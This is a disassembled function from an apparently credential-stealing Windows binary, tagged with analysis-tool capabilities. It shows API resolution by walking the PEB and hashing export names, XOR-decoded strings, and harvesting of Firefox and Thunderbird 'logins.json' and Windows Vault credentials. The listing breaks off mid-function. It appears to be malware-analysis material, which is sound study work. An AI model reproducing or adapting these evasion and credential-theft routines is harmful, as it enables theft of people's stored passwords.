Function at 0x42eda0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x10cc
call fcn.004bea50
mov eax, dword [0x4e2040]
xor eax, esp
mov dword [esp + 0x10c8], eax
push ebx
mov ebx, dword fs:[0x2c]
xor ecx, ecx
push esi
push edi
mov dword [esp + 0xdc], 0xc93a795a
mov ebx, dword [ebx]
mov dword [esp + 0xe0], 0xe1c3403b
mov dword [esp + 0xe4], 0xb92f677d
mov dword [esp + 0x18], ebx
mov eax, dword [ebx + 0x5910]
lea esi, [ebx + 0x502c]
test al, 1
jne 0x42ee4a
or eax, 1
mov byte [esi + 0xc], 1
xorps xmm0, xmm0
mov dword [ebx + 0x5910], eax
movlpd qword [esp + 0x50], xmm0
xor ebx, ebx
mov edx, dword [esp + 0x54]
mov ecx, dword [esp + 0x50]
mov al, byte [esp + ecx + 0xdc]
mov byte [esi + ecx], al
add ecx, 1
adc edx, ebx
cmp edx, ebx
ja 0x42ee39
cmp ecx, 0xc
jb 0x42ee21
push 0x4c21cd
call fcn.004b0dd6
mov ebx, dword [esp + 0x1c]
pop ecx
xor ecx, ecx
cmp byte [esi + 0xc], 0
je 0x42ee6c
push 0xcff1734f
push 0xb9430b19
push ecx
push 0xc
mov ecx, esi
call fcn.00407ee8
add esp, 0x10
xor eax, eax
mov byte [esi + 0xc], al
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
call edi
mov dword [esp + 0xf8], eax
mov eax, dword [ebx + 0x4fdc]
mov dword [esp + 0x428], 0x4f49b029
mov dword [esp + 0x42c], 0x6b546863
mov dword [esp + 0x430], 0x5151a755
mov byte [esp + 0x434], 0x17
test al, 1
jne 0x42eefa
xorps xmm0, xmm0
mov byte [ebx + 0x5eb1], 1
or eax, 1
movlpd qword [esp + 0x50], xmm0
mov edx, dword [esp + 0x54]
mov ecx, dword [esp + 0x50]
mov dword [ebx + 0x4fdc], eax
mov al, byte [esp + ecx + 0x428]
mov byte [ebx + ecx + 0x5ea4], al
add ecx, 1
push 0
pop eax
adc edx, eax
cmp edx, eax
ja 0x42eeef
cmp ecx, 0xd
jb 0x42eed0
push 0x4c21ba
call fcn.004b0dd6
pop ecx
lea esi, [ebx + 0x5ea4]
cmp byte [esi + 0xd], 0
je 0x42ef22
push 0x19330517
push 0x3d3dc37b
xor ebx, ebx
mov ecx, esi
push ebx
push 0xd
call fcn.00407ee8
add esp, 0x10
mov byte [esi + 0xd], bl
push esi
call edi
lea ecx, [esp + 0x608]
mov dword [esp + 0xf4], eax
call fcn.004387f7
mov ecx, dword [0x4e7a58]
test ecx, ecx
jne 0x42f008
mov ecx, dword fs:[0x30]
mov eax, dword [ecx + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [esp + 0x24], ecx
lea ecx, [edx + esi]
mov dword [esp + 0x34], ecx
cmp ecx, esi
je 0x42efe4
mov ebx, dword [ecx + 0x18]
test ebx, ebx
je 0x42efe4
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + ebx*4]
add ecx, esi
sub ecx, 4
mov edx, 0xf02b1e0c
dec ebx
mov dword [esp + 0x10], edx
mov dword [esp + 0x2c], ecx
mov edi, dword [ecx]
add edi, esi
mov dl, byte [edi]
inc edi
test dl, dl
je 0x42efe0
mov esi, dword [esp + 0x10]
movsx ecx, dl
xor ecx, esi
imul edx, ecx, 0x1000193
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul edx, ecx, 0x1000193
mov ecx, edx
shr ecx, 0x10
xor edx, ecx
imul esi, edx, 0x1000193
mov dl, byte [edi]
inc edi
test dl, dl
jne 0x42ef9f
mov dword [esp + 0x10], esi
cmp dword [esp + 0x10], 0xa7ee3506
mov esi, dword [eax + 0x18]
je 0x42efeb
mov ecx, dword [esp + 0x2c]
test ebx, ebx
jne 0x42ef7f
mov eax, dword [eax]
jmp 0x42ef53
mov eax, dword [esp + 0x34]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
add eax, esi
movzx eax, word [eax + ebx*2]
mov ecx, dword [ecx + eax*4]
add ecx, esi
mov dword [0x4e7a58], ecx
xor ebx, ebx
push ebx
push ebx
push ebx
push 0x432204
push ebx
push ebx
call ecx
mov ecx, dword [0x4e7a80]
mov dword [esp + 0x34], eax
test ecx, ecx
jne 0x42f0ec
mov ecx, dword fs:[0x30]
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov esi, dword [ecx + 0x18]
mov eax, dword [esi + 0x3c]
mov edx, dword [eax + esi + 0x78]
mov eax, dword [eax + esi + 0x7c]
mov dword [esp + 0x24], eax
lea eax, [edx + esi]
mov dword [esp + 0x48], eax
cmp eax, esi
je 0x42f0c6
mov ebx, dword [eax + 0x18]
test ebx, ebx
je 0x42f0c6
mov eax, dword [eax + 0x20]
lea eax, [eax + ebx*4]
add eax, esi
sub eax, 4
mov edx, 0xedf4d13e
dec ebx
mov dword [esp + 0x10], edx
mov dword [esp + 0x2c], eax
mov edi, dword [eax]
add edi, esi
mov dl, byte [edi]
inc edi
test dl, dl
je 0x42f0c2
mov esi, dword [esp + 0x10]
movsx eax, dl
xor eax, esi
imul edx, eax, 0x1000193
mov eax, edx
shr eax, 0x10
xor eax, edx
imul edx, eax, 0x1000193
mov eax, edx
shr eax, 0x10
xor edx, eax
imul esi, edx, 0x1000193
mov dl, byte [edi]
inc edi
test dl, dl
jne 0x42f081
mov dword [esp + 0x10], esi
cmp dword [esp + 0x10], 0x1ae48c9b
mov esi, dword [ecx + 0x18]
je 0x42f0cd
mov eax, dword [esp + 0x2c]
test ebx, ebx
jne 0x42f061
mov ecx, dword [ecx]
jmp 0x42f035
mov eax, dword [esp + 0x48]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
add eax, esi
movzx eax, word [eax + ebx*2]
mov ecx, dword [ecx + eax*4]
add ecx, esi
xor ebx, ebx
mov dword [0x4e7a80], ecx
push ebx
push ebx
push ebx
push 0x433968
push ebx
push ebx
call ecx
mov dword [esp + 0x38], eax
call fcn.0043c9a4
mov dword [esp + 0x4c], eax
call fcn.0043ca7e
mov dword [esp + 0x48], eax
call fcn.004182ff
push 2
mov dword [esp + 0xe7c], ebx
lea esi, [esp + 0xe8c]
mov dword [esp + 0xe80], ebx
pop ebx
mov dword [esp + 0x2c], eax
mov edi, ebx
mov ecx, esi
call fcn.004321bf
add esi, 0x24
sub edi, 1
jne 0x42f131
call fcn.00438c6e
mov edx, eax
lea esi, [edx + 2]
mov cx, word [edx]
add edx, ebx
cmp cx, di
jne 0x42f14a
sub edx, esi
lea ecx, [esp + 0xe88]
sar edx, 1
push edx
push eax
call fcn.0040c010
mov esi, 0x4e6dc0
mov edx, str.Local
mov ecx, esi
call fcn.004388c2
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, ebx
cmp ax, di
jne 0x42f17c
sub ecx, edx
sar ecx, 1
push ecx
push esi
lea ecx, [esp + 0xeb4]
call fcn.0040c010
xor ecx, ecx
lea ebx, [esp + 0xe88]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x3c], ebx
mov eax, dword [0x4e6d8c]
test eax, eax
jne 0x42f27c
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [esp + 0x24], ecx
lea ecx, [edx + esi]
mov dword [esp + 0x40], ecx
cmp ecx, esi
je 0x42f253
mov ebx, dword [ecx + 0x18]
test ebx, ebx
je 0x42f253
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + ebx*4]
add ecx, esi
sub ecx, 4
mov edx, 0x7305ab87
dec ebx
mov dword [esp + 0x10], edx
mov dword [esp + 0x30], ecx
mov edi, dword [ecx]
add edi, esi
mov dl, byte [edi]
inc edi
test dl, dl
je 0x42f24f
mov esi, dword [esp + 0x10]
movsx ecx, dl
xor ecx, esi
imul edx, ecx, 0x1000193
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul edx, ecx, 0x1000193
mov ecx, edx
shr ecx, 0x10
xor edx, ecx
imul esi, edx, 0x1000193
mov dl, byte [edi]
inc edi
test dl, dl
jne 0x42f20e
mov dword [esp + 0x10], esi
cmp dword [esp + 0x10], 0x3c18e61
mov esi, dword [eax + 0x18]
je 0x42f25a
mov ecx, dword [esp + 0x30]
test ebx, ebx
jne 0x42f1ee
mov eax, dword [eax]
jmp 0x42f1c2
mov eax, dword [esp + 0x40]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
add eax, esi
movzx eax, word [eax + ebx*2]
mov ebx, dword [esp + 0x3c]
mov eax, dword [ecx + eax*4]
add eax, esi
xor ecx, ecx
mov dword [0x4e6d8c], eax
push ecx
push ecx
push ebx
push 0x4321e6
push ecx
push ecx
call eax
mov ecx, dword [esp + 0x1c]
add ebx, 0x24
push 0
mov dword [esp + 0x40], ebx
mov dword [esp + ecx*4 + 0xe7c], eax
inc ecx
mov dword [esp + 0x20], ecx
cmp ecx, 2
pop ecx
jb 0x42f1a9
call fcn.004ac8b3
test al, al
je 0x42f359
xor eax, eax
lea edi, [esp + 0x458]
stosd dword es:[edi], eax
lea ecx, [esp + 0x458]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.004acd2d
mov eax, dword [esp + 0x458]
xor ebx, ebx
cmp eax, dword [esp + 0x45c]
je 0x42f32e
mov byte [esp + 0x30], bl
lea eax, [esp + 0x458]
push dword [esp + 0x30]
sub esp, 0xc
mov ecx, esp
push eax
call fcn.0043a3f5
lea ecx, [esp + 0x2f8]
call fcn.0043a775
add esp, 0x10
cmp dword [eax + 0x14], 7
jbe 0x42f313
mov eax, dword [eax]
push 4
mov edx, str.winvault_ie.txt
mov ecx, eax
call fcn.00436b51
pop ecx
lea ecx, [esp + 0x2e8]
call fcn.0040c4e8
cmp byte [0x4e5d7e], 0
je 0x42f34d
mov eax, dword [0x4e6540]
test eax, eax
je 0x42f347
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov byte [0x4e5d7e], bl
lea ecx, [esp + 0x458]
call fcn.0040c498
call fcn.004315eb
mov esi, eax
xor ebx, ebx
cmp byte [esi + 0x6a], bl
je 0x42f381
push 0x615f430d
push 0xdf05a52f
push ebx
push 0x35
mov ecx, esi
call fcn.00407f3c
add esp, 0x10
mov byte [esi + 0x6a], bl
push esi
lea ecx, [esp + 0x4a4]
call fcn.0040c1e2
xor eax, eax
lea edi, [esp + 0x464]
cmp dword [esp + 0x4b4], 7
lea ecx, [esp + 0x464]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [esp + 0x4a0]
cmova eax, dword [esp + 0x4a0]
push eax
call fcn.004365e1
mov edi, dword [esp + 0x468]
pop ecx
mov dword [esp + 0x1c], edi
mov dword [esp + 0x40], 0x18
cmp edi, dword [esp + 0x468]
je 0x42fbeb
jmp 0x42f3e3
xor ebx, ebx
call fcn.004317ab
mov esi, eax
cmp byte [esi + 0x20], 0
je 0x42f40a
push 0xdb3f9129
push 0xe75119e9
push ebx
push 0x10
mov ecx, esi
call fcn.00407f3c
add esp, 0x10
mov byte [esi + 0x20], bl
push ecx
push esi
mov ecx, edi
call fcn.004176fe
cmp eax, 0xffffffff
je 0x42f65d
call fcn.0043187e
mov esi, eax
cmp byte [esi + 0x20], 0
je 0x42f443
push 0xc52f13ed
push 0xb529d78d
push ebx
push 0x10
mov ecx, esi
call fcn.00407f3c
add esp, 0x10
mov byte [esi + 0x20], bl
push edi
lea edx, [esp + 0x4a4]
lea ecx, [esp + 0x2bc]
call fcn.0040ede6
pop ecx
cmp dword [eax + 0x14], 7
jbe 0x42f460
mov eax, dword [eax]
push esi
push eax
mov edx, 0x80000002
lea ecx, [esp + 0x2d8]
call fcn.004360db
pop ecx
pop ecx
cmp dword [eax + 0x14], 7
jbe 0x42f47d
mov eax, dword [eax]
mov ecx, eax
call fcn.00418aaf
lea ecx, [esp + 0x2d0]
mov bl, al
call fcn.0040c4e8
lea ecx, [esp + 0x2b8]
call fcn.0040c4e8
test bl, bl
je 0x42f65d
xor eax, eax
lea edi, [esp + 0x470]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.00431936
mov esi, eax
cmp byte [esi + 0x34], 0
je 0x42f4db
push 0x31d103af
push 0x2ddf1769
xor ebx, ebx
mov ecx, esi
push ebx
push 0x1a
call fcn.00407f3c
add esp, 0x10
mov byte [esi + 0x34], bl
call fcn.00438c6e
push eax
lea ecx, [esp + 0x184]
call fcn.0040c1e2
push esi
lea edx, [esp + 0x184]
lea ecx, [esp + 0x2a4]
call fcn.0040c732
pop ecx
mov edx, eax
lea ecx, [esp + 0x470]
call fcn.00418528
lea ecx, [esp + 0x2a0]
call fcn.0040c4e8
lea ecx, [esp + 0x180]
call fcn.0040c4e8
mov ebx, dword [esp + 0x470]
jmp 0x42f637
xor eax, eax
lea edi, [esp + 0x44c]
stosd dword es:[edi], eax
lea ecx, [esp + 0x198]
push str.logins.json
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.0040c1e2
lea eax, [esp + 0x198]
mov edx, ebx
push eax
lea ecx, [esp + 0x450]
call fcn.004195db
pop ecx
lea ecx, [esp + 0x198]
call fcn.0040c4e8
mov ecx, dword [esp + 0x44c]
mov eax, dword [esp + 0x450]
cmp ecx, eax
je 0x42f621
sub eax, ecx
and dword [esp + 0x3c], 0
push 0x18
cdq
pop esi
idiv esi
test eax, eax
je 0x42f621
xor eax, eax
mov ebx, eax
lea edx, [ebx + ecx]
lea edi, [ecx + 0x30]
lea ecx, [esp + 0x360]
lea esi, [edx + 0x18]
call fcn.00410986
mov edx, esi
lea ecx, [esp + 0x378]
call fcn.00419fbd
lea edx, [edi + ebx]
lea ecx, [esp + 0x390]
call fcn.00419fbd
lea eax, [esp + 0x360]
mov ecx, 0x4e2b10
push eax
call fcn.0040a453
lea ecx, [esp + 0x360]
call fcn.0040a485
mov ecx, dword [esp + 0x44c]
push 0x48
pop eax
add ebx, eax
mov esi, dword [esp + 0x3c]
mov eax, dword [esp + 0x450]
add esi, 3
sub eax, ecx
mov dword [esp + 0x3c], esi
push 0x18
cdq
pop edi
idiv edi
cmp esi, eax
jb 0x42f5a3
mov ebx, dword [esp + 0x10]
call fcn.004195bc
lea ecx, [esp + 0x44c]
call fcn.0041a10e
push 0x18
pop eax
add ebx, eax
mov dword [esp + 0x10], ebx
cmp ebx, dword [esp + 0x474]
jne 0x42f534
call fcn.004195a3
lea ecx, [esp + 0x470]
call fcn.0040c3f8
mov edi, dword [esp + 0x1c]
push ecx
push str.Mozilla_Thunderbird
mov ecx, edi
call fcn.004176fe
cmp eax, 0xffffffff
je 0x42f9c5
call fcn.00431a46
mov esi, eax
cmp byte [esi + 0x20], 0
je 0x42f69c
push 0xd11d6327
push 0x5f38f73
xor ebx, ebx
mov ecx, esi
push ebx
push 0x10
call fcn.00407f3c
add esp, 0x10
mov byte [esi + 0x20], bl
push edi
lea edx, [esp + 0x4a4]
lea ecx, [esp + 0x1e4]
call fcn.0040ede6
pop ecx
cmp dword [eax + 0x14], 7
jbe 0x42f6b9
mov eax, dword [eax]
push esi
push eax
mov edx, 0x80000002
lea ecx, [esp + 0x290]
call fcn.004360db
pop ecx
pop ecx
cmp dword [eax + 0x14], 7
jbe 0x42f6d6
mov eax, dword [eax]
mov ecx, eax
call fcn.00418aaf
lea ecx, [esp + 0x288]
mov bl, al
call fcn.0040c4e8
lea ecx, [esp + 0x1e0]
call fcn.0040c4e8
test bl, bl
je 0x42f9c5
xor eax, eax
lea edi, [esp + 0x47c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.00431b04
mov esi, eax
cmp byte [esi + 0x2e], 0
je 0x42f734
push 0xd11bf34b
push 0x25d5a973
xor ebx, ebx
mov ecx, esi
push ebx
push 0x17
call fcn.00407f3c
add esp, 0x10
mov byte [esi + 0x2e], bl
call fcn.00438c6e
push eax
lea ecx, [esp + 0x1b4]
call fcn.0040c1e2
push esi
lea edx, [esp + 0x1b4]
lea ecx, [esp + 0x274]
call fcn.0040c732
pop ecx
mov edx, eax
lea ecx, [esp + 0x47c]
call fcn.00418528
lea ecx, [esp + 0x270]
call fcn.0040c4e8
lea ecx, [esp + 0x1b0]
call fcn.0040c4e8
mov esi, dword [esp + 0x47c]
mov dword [esp + 0x30], esi
cmp esi, dword [esp + 0x480]
je 0x42f9b0
mov ebx, dword [esp + 0x18]
xor eax, eax
lea edi, [esp + 0x440]
stosd dword es:[edi], eax
lea ecx, [esp + 0x1c8]
push str.logins.json
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.0040c1e2
lea eax, [esp + 0x1c8]
mov edx, esi
push eax
lea ecx, [esp + 0x444]
call fcn.004195db
pop ecx
lea ecx, [esp + 0x1c8]
call fcn.0040c4e8
mov eax, dword [esp + 0x444]
mov edi, dword [esp + 0x440]
cmp edi, eax
je 0x42f989
sub eax, edi
xor ecx, ecx
cdq
idiv dword [esp + 0x40]
mov dword [esp + 0x3c], ecx
test eax, eax
je 0x42f989
lea esi, [ebx + 0x5140]
mov dword [esp + 0x10], ecx
jmp 0x42f816
xor ecx, ecx
movaps xmm0, xmmword [0x4d87f0]
mov eax, dword [ebx + 0x5ddc]
mov byte [0x4e5d7c], 1
mov dword [esp + 0x10c], 0x81f1459f
movups xmmword [esp + 0xfc], xmm0
test al, 1
jne 0x42f891
or eax, 1
mov byte [esi + 0x14], 1
xorps xmm0, xmm0
mov dword [ebx + 0x5ddc], eax
movlpd qword [esp + 0x20], xmm0
xor ebx, ebx
mov edx, dword [esp + 0x24]
mov ecx, dword [esp + 0x20]
mov al, byte [esp + ecx + 0xfc]
mov byte [esi + ecx], al
add ecx, 1
adc edx, ebx
cmp edx, ebx
ja 0x42f879
cmp ecx, 0x14
jb 0x42f861
push 0x4c2135
call fcn.004b0dd6
mov ebx, dword [esp + 0x1c]
mov edi, dword [esp + 0x444]
pop ecx
xor ecx, ecx
cmp byte [esi + 0x14], 0
je 0x42f8b3
push 0x99ddbbbd
push 0x81853deb
push ecx
push 0x14
mov ecx, esi
call fcn.00407ee8
add esp, 0x10
xor eax, eax
mov byte [esi + 0x14], al
mov edx, dword [esp + 0x440]
lea ecx, [esp + 0x3a8]
add edx, dword [esp + 0x10]
add edi, dword [esp + 0x10]
lea esi, [edx + 0x18]
call fcn.00410986
mov edx, esi
lea ecx, [esp + 0x3c0]
call fcn.00419fbd
lea edx, [edi + 0x30]
lea ecx, [esp + 0x3d8]
call fcn.00419fbd
push 0x4c8b68
push ecx
lea eax, [esp + 0x248]
push eax
lea ecx, [esp + 0x3b4]
call fcn.0042afa4
pop ecx
mov edx, eax
lea ecx, [esp + 0x25c]
call fcn.0040c732
pop ecx
cmp dword [eax + 0x14], 7
jbe 0x42f920
mov eax, dword [eax]
lea esi, [ebx + 0x5140]
mov ecx, eax
push 0x30
mov edx, esi
call fcn.00436b51
pop ecx
lea ecx, [esp + 0x258]
call fcn.0040c4e8
lea ecx, [esp + 0x240]
call fcn.0040c4e8
lea ecx, [esp + 0x3a8]
call fcn.0040a485
mov edi, dword [esp + 0x440]
push 0x48
pop eax
add dword [esp + 0x10], eax
mov eax, dword [esp + 0x444]
sub eax, edi
mov ecx, dword [esp + 0x3c]
cdq
add ecx, 3
idiv dword [esp + 0x40]
mov dword [esp + 0x3c], ecx
cmp ecx, eax
jb 0x42f814
mov esi, dword [esp + 0x30]
call fcn.004195bc
lea ecx, [esp + 0x440]
call fcn.0041a10e
push 0x18
pop eax
add esi, eax
mov dword [esp + 0x30], esi
cmp esi, dword [esp + 0x480]
jne 0x42f79d
call fcn.004195a3
lea ecx, [esp + 0x47c]
call fcn.0040c3f8
mov edi, dword [esp + 0x1c]
call fcn.00431bf0
mov esi, eax
cmp byte [esi + 0x18], 0
je 0x42f9ee
push 0x3e10df7
push 0x8575df9d
xor ebx, ebx
mov ecx, esi
push ebx
push 0xc
call fcn.00407f3c
add esp, 0x10
mov byte [esi + 0x18], bl
push edi
lea edx, [esp + 0x4a4]
lea ecx, [esp + 0x22c]
call fcn.0040ede6
pop ecx
cmp dword [eax + 0x14], 7
jbe 0x42fa0b
mov eax, dword [eax]
push esi
push eax
mov edx, 0x80000002
lea ecx, [esp + 0x4d8]
call fcn.004360db
pop ecx
pop ecx
lea ecx, [esp + 0x228]
call fcn.0040c4e8
cmp dword [esp + 0x4e0], 0
mov ebx, dword [esp + 0x18]
jne 0x42fb01
mov eax, dword [ebx + 0x4f98]
mov dword [esp + 0x60], 0xe6ff15b4
mov dword [esp + 0x64], 0xf315f597
mov byte [esp + 0x68], 0xdd
test al, 1
jne 0x42faa5
xorps xmm0, xmm0
mov byte [ebx + 0x5cf5], 1
movlpd qword [esp + 0x20], xmm0
or eax, 1
mov edx, dword [esp + 0x24]
mov ecx, dword [esp + 0x20]
mov dword [ebx + 0x4f98], eax
mov al, byte [esp + ecx + 0x60]
mov byte [ecx + ebx + 0x5cec], al
add ecx, 1
push 0
pop eax
adc edx, eax
cmp edx, eax
ja 0x42fa9a
cmp ecx, 9
jb 0x42fa7e
push 0x4c210f
call fcn.004b0dd6
pop ecx
lea esi, [ebx + 0x5cec]
cmp byte [esi + 9], 0
je 0x42facd
push 0x876d81b9
push 0x89997bdd
xor ebx, ebx
mov ecx, esi
push ebx
push 9
call fcn.00407ee8
add esp, 0x10
mov byte [esi + 9], bl
push 0x4c8b68
mov edx, edi
lea ecx, [esp + 0x214]
call fcn.0041a24d
pop ecx
cmp dword [eax + 0x14], 7
jbe 0x42fae9
mov eax, dword [eax]
push 0x30
mov edx, esi
mov ecx, eax
call fcn.00436b51
pop ecx
lea ecx, [esp + 0x210]
jmp 0x42fbc4
mov eax, dword [ebx + 0x5520]
mov dword [esp + 0x6c], 0x4e518552
mov dword [esp + 0x70], 0x454f7725
mov byte [esp + 0x74], 0x3b
test al, 1
jne 0x42fb68
xorps xmm0, xmm0
mov byte [ebx + 0x5b81], 1
movlpd qword [esp + 0x20], xmm0
or eax, 1
mov edx, dword [esp + 0x24]
mov ecx, dword [esp + 0x20]
mov dword [ebx + 0x5520], eax
mov al, byte [esp + ecx + 0x6c]
mov byte [ecx + ebx + 0x5b78], al
add ecx, 1
push 0
pop eax
adc edx, eax
cmp edx, eax
ja 0x42fb5d
cmp ecx, 9
jb 0x42fb41
push 0x4c20fc
call fcn.004b0dd6
pop ecx
lea esi, [ebx + 0x5b78]
cmp byte [esi + 9], 0
je 0x42fb90
push 0x3137030b
push 0x2137eb3b
xor ebx, ebx
mov ecx, esi
push ebx
push 9
call fcn.00407ee8
add esp, 0x10
mov byte [esi + 9], bl
push 0x4c8b68
lea edx, [esp + 0x4d4]
lea ecx, [esp + 0x1fc]
call fcn.0041a24d
pop ecx
cmp dword [eax + 0x14], 7
jbe 0x42fbb1
mov eax, dword [eax]
push 0x30
mov edx, esi
mov ecx, eax
call fcn.00436b51
pop ecx
lea ecx, [esp + 0x1f8]
call fcn.0040c4e8
lea ecx, [esp + 0x4d0]
call fcn.0040c4e8
push 0x18
pop eax
add edi, eax
mov dword [esp + 0x1c], edi
cmp edi, dword [esp + 0x468]
jne 0x42f3e1
lea ecx, [esp + 0x464]
call fcn.0040c3f8
lea ecx, [esp + 0x4a0]
call fcn.0040c4e8
call fcn.00431c91
mov esi, eax
xor ebx, ebx
mov edi, 0x27cb57d1
cmp byte [esi + 0x3a], bl
je 0x42fc2c
push edi
push 0xa3999715
push ebx
push 0x1d
mov ecx, esi
call fcn.00407f3c
add esp, 0x10
mov byte [esi + 0x3a], bl
mov dword [esp + 0xe80], esi
call fcn.00431d85
mov esi, eax
cmp byte [esi + 0x36], 0
je 0x42fc56
push edi
push 0xa3999715
push ebx
push 0x1b
mov ecx, esi
call fcn.00407f3c
add esp, 0x10
mov byte [esi + 0x36], bl
mov dword [esp + 0xe84], esi
lea esi, [esp + 0xe80]
call fcn.00438c6e
push eax
lea ecx, [esp + 0x16c]
call fcn.0040c1e2
push dword [esi]
lea edx, [esp + 0x16c]
lea ecx, [esp + 0x4bc]
call fcn.0040c732
pop ecx
lea ecx, [esp + 0x168]
call fcn.0040c4e8
cmp dword [esp + 0x4cc], 7
lea ecx, [esp + 0x4b8]
cmova ecx, dword [esp + 0x4b8]
call fcn.00438719
test eax, eax
je 0x42fcd4
cmp dword [esp + 0x4cc], 7
lea ecx, [esp + 0x4b8]
cmova ecx, dword [esp + 0x4b8]
call fcn.00416f2a
lea ecx, [esp + 0x4b8]
call fcn.0040c4e8
add esi, 4
lea eax, [esp + 0xe88]
cmp esi, eax
jne 0x42fc64
mov ebx, dword [esp + 0x18]
mov dword [esp + 0x50], 0xd9b54385
mov dword [esp + 0x54], 0x9f417519
mov eax, dword [ebx + 0x5bc8]
test al, 1
jne 0x42fd58
xorps xmm0, xmm0
mov byte [ebx + 0x5098], 1
movlpd qword [esp + 0x20], xmm0
or eax, 1
mov edx, dword [esp + 0x24]
mov ecx, dword [esp + 0x20]
mov dword [ebx + 0x5bc8], eax
mov al, byte [esp + ecx + 0x50]
mov byte [ecx + ebx + 0x5090], al
add ecx, 1
push 0
pop eax
adc edx, eax
cmp edx, eax
ja 0x42fd4d
cmp ecx, 8
jb 0x42fd31
push 0x4c20c3
call fcn.004b0dd6
pop ecx
lea ebx, [ebx + 0x5090]
xor eax, eax
cmp byte [ebx + 8], al
je 0x42fd81
push 0x9f350d6d
push 0xf7c537e3
push eax
push 8
mov ecx, ebx
call fcn.00407ee8
add esp, 0x10
xor eax, eax
mov byte [ebx + 8], al
mov byte [esp + 0x30], al
push dword [esp + 0x30]
sub esp, 0xc
mov edi, esp
push 0x60
mov dword [edi], eax
mov dword [edi + 4], eax
mov dword [edi + 8], eax
mov eax, dword [0x4e2b38]
sub eax, dword [0x4e2b34]
cdq
pop ecx
idiv ecx
test eax, eax
je 0x42fde3
cmp eax, 0x2aaaaaa
ja 0x4315e5
imul esi, eax, 0x60
mov ecx, esi
call fcn.0040ec44
mov dword [edi], eax
mov dword [edi + 4], eax
push edi
lea ecx, [eax + esi]
mov dword [edi + 8], ecx
mov edx, dword [0x4e2b38]
mov ecx, dword [0x4e2b34]
push eax
call fcn.0043ae9d
pop ecx
pop ecx
mov dword [edi + 4], eax
lea ecx, [esp + 0x310]
call fcn.0043a809
add esp, 0x10
cmp dword [eax + 0x14], 7
jbe 0x42fdfa
mov eax, dword [eax]
push 4
mov edx, ebx
mov ecx, eax
call fcn.00436b51
pop ecx
lea ecx, [esp + 0x300]
call fcn.0040c4e8
mov eax, dword [0x4e6d78]
test eax, eax
jne 0x42fed8
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x40], ecx
cmp ecx, esi
je 0x42feb3
mov ebx, dword [ecx + 0x18]
test ebx, ebx
je 0x42feb3
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + ebx*4]
add ecx, esi
sub ecx, 4
mov edx, 0x2125dfb6
dec ebx
mov dword [esp + 0x1c], edx
mov dword [esp + 0x30], ecx
mov edi, dword [ecx]
add edi, esi
mov dl, byte [edi]
inc edi
test dl, dl
je 0x42feaf
mov esi, dword [esp + 0x1c]
movsx ecx, dl
xor ecx, esi
imul edx, ecx, 0x1000193
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul edx, ecx, 0x1000193
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
mov dl, byte [edi]
imul esi, ecx, 0x1000193
inc edi
test dl, dl
jne 0x42fe6e
mov dword [esp + 0x1c], esi
cmp dword [esp + 0x1c], 0x7d95d7b3
mov esi, dword [eax + 0x18]
je 0x42feba
mov ecx, dword [esp + 0x30]
test ebx, ebx
jne 0x42fe4e
mov eax, dword [eax]
jmp 0x42fe2b
mov edx, dword [esp + 0x40]
mov eax, dword [edx + 0x24]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + esi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + esi]
add eax, esi
mov dword [0x4e6d78], eax
push 0xffffffffffffffff
push 1
lea ecx, [esp + 0xe80]
push ecx
push 2
pop ebx
push ebx
call eax
lea esi, [esp + 0xe78]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 4
lea eax, [esp + 0xe80]
cmp esi, eax
jne 0x42fef1
lea eax, [esp + 0xea0]
mov dword [esp + 0x40], ebx
mov dword [esp + 0x30], eax
mov edx, ebx
mov ecx, dword [eax + 4]
mov esi, dword [eax]
mov dword [esp + 0x3c], ecx
cmp esi, ecx
je 0x4300b6
call fcn.00431e79
mov edi, eax
xor ebx, ebx
cmp byte [edi + 0x16], bl
je 0x42ff51
push 0xc33bf109
push 0x534f19bb
push ebx
push 0xb
mov ecx, edi
call fcn.00407f3c
add esp, 0x10
mov byte [edi + 0x16], bl
push ecx
push edi
mov ecx, esi
call fcn.004176fe
cmp eax, 0xffffffff
je 0x42ff97
call fcn.00431f23
mov edi, eax
cmp byte [edi + 0x10], 0
je 0x42ff86
push 0x3d89b98f
